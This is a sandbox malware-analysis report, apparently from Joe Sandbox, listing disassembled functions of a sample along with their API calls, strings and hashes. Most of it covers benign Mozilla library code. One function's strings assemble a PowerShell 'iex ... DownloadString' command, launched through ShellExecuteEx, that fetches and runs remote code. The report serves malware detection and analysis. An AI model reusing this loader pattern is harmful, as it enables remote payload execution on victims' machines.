Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00412895

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412814
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004127D4
')", xrefs: 004127C3
<, xrefs: 00412849

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 1192b675da3cbe4a1aa73af6bc814ef15cd9ca199cdc007d6b4ce99c8e8c9073
Instruction ID: d376e5d026b6a94438bc85289873f11b5c9f1c1e596dc166cf9a62b6ff5812d0
Opcode Fuzzy Hash: 1192b675da3cbe4a1aa73af6bc814ef15cd9ca199cdc007d6b4ce99c8e8c9073
Instruction Fuzzy Hash: 0E412F70D11208AACB14FFA1D896BDDB778AF10318F40411EF41667192EF782AD9CF5A

Function 6C7474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C747526
__Init_thread_footer.LIBCMT ref: 6C747566
__Init_thread_footer.LIBCMT ref: 6C747597

Strings

UnmapViewOfFile2, xrefs: 6C747552
kernel32.dll, xrefs: 6C747557

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5ba146926de7280ae253b895ee6462e08a08ec0b7d32996d33fb1e2127e50714
Instruction ID: 9c52ea794e004ee8bb0045b97358997c09c23ac935e77f83378a07134644e838
Opcode Fuzzy Hash: 5ba146926de7280ae253b895ee6462e08a08ec0b7d32996d33fb1e2127e50714
Instruction Fuzzy Hash: 9621F232B04641ABCB148BBACF1CFA9B375FB46335F448539E8058BF40D731A905CAA2

Function 6C74C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C74C0E9), ref: 6C74C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C74C437
FreeLibrary.KERNEL32(?,6C74C0E9), ref: 6C74C44C

Strings

ntdll.dll, xrefs: 6C74C413
NtQueryVirtualMemory, xrefs: 6C74C431

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ab60aee749b0b81c1d835007888ae81656834cb584c78b12fede4ad075f863e3
Instruction ID: 6317994c5c295637b84e527472853fb52b0f95ef2cf05bb619da7c144c56bb38
Opcode Fuzzy Hash: ab60aee749b0b81c1d835007888ae81656834cb584c78b12fede4ad075f863e3
Instruction Fuzzy Hash: 23E09270601302ABDB006B77CB187397EFCB74B705F009176AA0491700EBB1D0449A50

Function 6C7475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C74748B,?), ref: 6C7475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C7475D7
FreeLibrary.KERNEL32(?,6C74748B,?), ref: 6C7475EC

Strings

ntdll.dll, xrefs: 6C7475B3
RtlNtStatusToDosError, xrefs: 6C7475D1

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a8c8b37a1ea8411d06388886ca22370f0d0a5d150747af256a401c7abe9039b5
Instruction ID: 303d69289227ebbe7058cf84d0c43bc470ceb1655762add2cd3f894a97079e52
Opcode Fuzzy Hash: a8c8b37a1ea8411d06388886ca22370f0d0a5d150747af256a401c7abe9039b5
Instruction Fuzzy Hash: 90E09272604301ABEB006BB3CA48725BAFCEB07359F508035E905D5A00EBB09145DF10

Function 6C747600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C747592), ref: 6C747608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C747627
FreeLibrary.KERNEL32(?,6C747592), ref: 6C74763C

Strings

NtUnmapViewOfSection, xrefs: 6C747621
ntdll.dll, xrefs: 6C747603

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e50ea92305817634610f2156bc2ccb871ce546a9bcc00a1054b9590bd34a3e92
Instruction ID: 40a4ef7b8a0136795571847ccf6fb442bba2ad002be5bbbb4e2f82b8ccb79eaf
Opcode Fuzzy Hash: e50ea92305817634610f2156bc2ccb871ce546a9bcc00a1054b9590bd34a3e92
Instruction Fuzzy Hash: E5E092B1640301ABDF006BB7CE08721BABCE71B35AF409239ED05D2A00E7B0D4049B19

Function 6C74BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C74BE49), ref: 6C74BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C74BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C74BE49), ref: 6C74BF38
RtlReAllocateHeap.NTDLL ref: 6C74BF83
RtlFreeHeap.NTDLL(6C74BE49,00000000), ref: 6C74BFA6

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 750971e0e118988e34080d12fb8eb245e82211e0db3a702ea9ba7631df875791
Instruction ID: b6b814b913e237b73e3f60dfc30f77077f93794126e60f60f37e146da87221e4
Opcode Fuzzy Hash: 750971e0e118988e34080d12fb8eb245e82211e0db3a702ea9ba7631df875791
Instruction Fuzzy Hash: FA518071A406058FE714CF69CE80BAEB7A6FF88314F298639D519A7B55D730FD068B80

Function 6C738E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?,6C75D734), ref: 6C738E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?,6C75D734), ref: 6C738EBF
free.MOZGLUE(?,?,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?), ref: 6C738F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?,6C75D734), ref: 6C738F46
free.MOZGLUE(?,?,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?), ref: 6C738F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C72B58D,?,?,?,?,?,?,?,6C75D734,?,?,?), ref: 6C738F8F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d3109c94dbf3e5eff67f3f098916a6dc1f4b4cfc148a4e505545a342748c06b6
Instruction ID: 6d2baf5c330fba54c1108e3f79e521b867ff6e754933da9398539c9172513468
Opcode Fuzzy Hash: d3109c94dbf3e5eff67f3f098916a6dc1f4b4cfc148a4e505545a342748c06b6
Instruction Fuzzy Hash: 555180B1A012268FEB14CF64DD8466E73B6AF44318F19053BD91AEB742E731F904CB91

Function 6C6E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C6E4F1E

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bdb371d8eb598f98c870fa0db7901249e33a7a3a273bb7623fd6f69e5e668c2d
Instruction ID: 76375ef79cae02ccebac8f8c4e8450953268a0757513d5e6b88f2d25c074cf6c
Opcode Fuzzy Hash: bdb371d8eb598f98c870fa0db7901249e33a7a3a273bb7623fd6f69e5e668c2d
Instruction Fuzzy Hash: 4641BC716097059FC701CFB9C8809ABB7E4BF8D344F108A2EF56687641DBB0E919CB95

Function 004108A0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004108C8
strtok_s.MSVCRT ref: 00410A0D

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: a1e044df2dc2ec3bc87bdc03517e80c54e8b62564882ec64cb6b643e3b51a76b
Instruction ID: a4e7387e48c2c71d0e19e82ff460fffa0707391e6f0b4b4f43623f0e69075298
Opcode Fuzzy Hash: a1e044df2dc2ec3bc87bdc03517e80c54e8b62564882ec64cb6b643e3b51a76b
Instruction Fuzzy Hash: 62515AB5A04209DFCB08CF54D495AEE7BB5FF58308F10806AE802AB351D774EAD1CB95

Function 00409E60 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00409E7B
memset.MSVCRT ref: 00409EAE
LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

v10, xrefs: 00409E72
@, xrefs: 00409EB7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: c1044b3830b5109d2d3414717a1b4bfcf227ba841008d5ccdf2d40fe1e891b15
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: c1044b3830b5109d2d3414717a1b4bfcf227ba841008d5ccdf2d40fe1e891b15
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6C6F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C6F152B,?,?,?,?,6C6F1248,?), ref: 6C6F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6F152B,?,?,?,?,6C6F1248,?), ref: 6C6F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C6F152B,?,?,?,?,6C6F1248,?), ref: 6C6F15E7
free.MOZGLUE(?,?,?,?,?,?,6C6F152B,?,?,?,?,6C6F1248,?), ref: 6C6F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C6F152B,?,?,?,?,6C6F1248,?), ref: 6C6F1637

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: eb767eebe844ec4f5264433b92b9bc332999060f321479cc06499d2080387427
Instruction ID: 836b687225c066952ef9c65eb761d1c8525bef569604951acb02b04863333c4b
Opcode Fuzzy Hash: eb767eebe844ec4f5264433b92b9bc332999060f321479cc06499d2080387427
Instruction Fuzzy Hash: F131EAF1A001149BC7198E78D8544AE77AAFB853A47240B2DE433DBBD4EB30D9168795

Function 6C74AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C75E330,?,6C70C059), ref: 6C74AD9D

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C75E330,?,6C70C059), ref: 6C74ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C75E330,?,6C70C059), ref: 6C74AE01
GetLastError.KERNEL32(?,00000000,?,?,6C75E330,?,6C70C059), ref: 6C74AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C75E330,?,6C70C059), ref: 6C74AE3D

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 10eafd95b4a8ef009a90adcc3afcb41200ff1bd219743f79590c8206e7058732
Instruction ID: 53960ae7cc9ac67bc01b51dc525bedc75d1d585006d6638d773ecdb34441f256
Opcode Fuzzy Hash: 10eafd95b4a8ef009a90adcc3afcb41200ff1bd219743f79590c8206e7058732
Instruction Fuzzy Hash: E23182B1A003159FDB10DF798D49AABB7F8EF49664F148439E85AD7700EB34E804CBA0

Function 6C745EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C75DCA0,?,?,?,6C71E8B5,00000000), ref: 6C745F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C71E8B5,00000000), ref: 6C745F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C71E8B5,00000000), ref: 6C745F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C71E8B5,00000000), ref: 6C745F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C71E8B5,00000000), ref: 6C745FD6

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f73f3f0591a83b623f61379124bcc43a4d1b34f1980ffc6c5ddce815a4ee5ddf
Instruction ID: bc96d86ebb0c97a4085a52ce3d2c315b9dfb9f5f91176bb619af625105a0eff4
Opcode Fuzzy Hash: f73f3f0591a83b623f61379124bcc43a4d1b34f1980ffc6c5ddce815a4ee5ddf
Instruction Fuzzy Hash: 9E3141343006008FD751CF29D998E2AB7F9FF8A319BA48568F9568BB95C731EC41CB91

Function 6C6EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C6EB532
moz_xmalloc.MOZGLUE(?), ref: 6C6EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C6EB57E
free.MOZGLUE(00000000), ref: 6C6EB58F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 74e6b70dd80f5d718ba17b2c86cceacae8e07e4eab1fe7636f3c2d6a07630214
Instruction ID: 5a9440b69a5dcb444f430ab46a6bb81cc2326723514e753ac76091850371370e
Opcode Fuzzy Hash: 74e6b70dd80f5d718ba17b2c86cceacae8e07e4eab1fe7636f3c2d6a07630214
Instruction Fuzzy Hash: 6A210A716053059BDB008F69CC44BBABBB9FF8A314F244039E815DB341E735D911C7A4

Function 6C746E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C746E78

Part of subcall function 6C746A10: InitializeCriticalSection.KERNEL32(6C76F618), ref: 6C746A68
Part of subcall function 6C746A10: GetCurrentProcess.KERNEL32 ref: 6C746A7D
Part of subcall function 6C746A10: GetCurrentProcess.KERNEL32 ref: 6C746AA1
Part of subcall function 6C746A10: EnterCriticalSection.KERNEL32(6C76F618), ref: 6C746AAE
Part of subcall function 6C746A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C746AE1
Part of subcall function 6C746A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C746B15
Part of subcall function 6C746A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C746B65
Part of subcall function 6C746A10: LeaveCriticalSection.KERNEL32(6C76F618,?,?), ref: 6C746B83

MozFormatCodeAddress.MOZGLUE ref: 6C746EC1
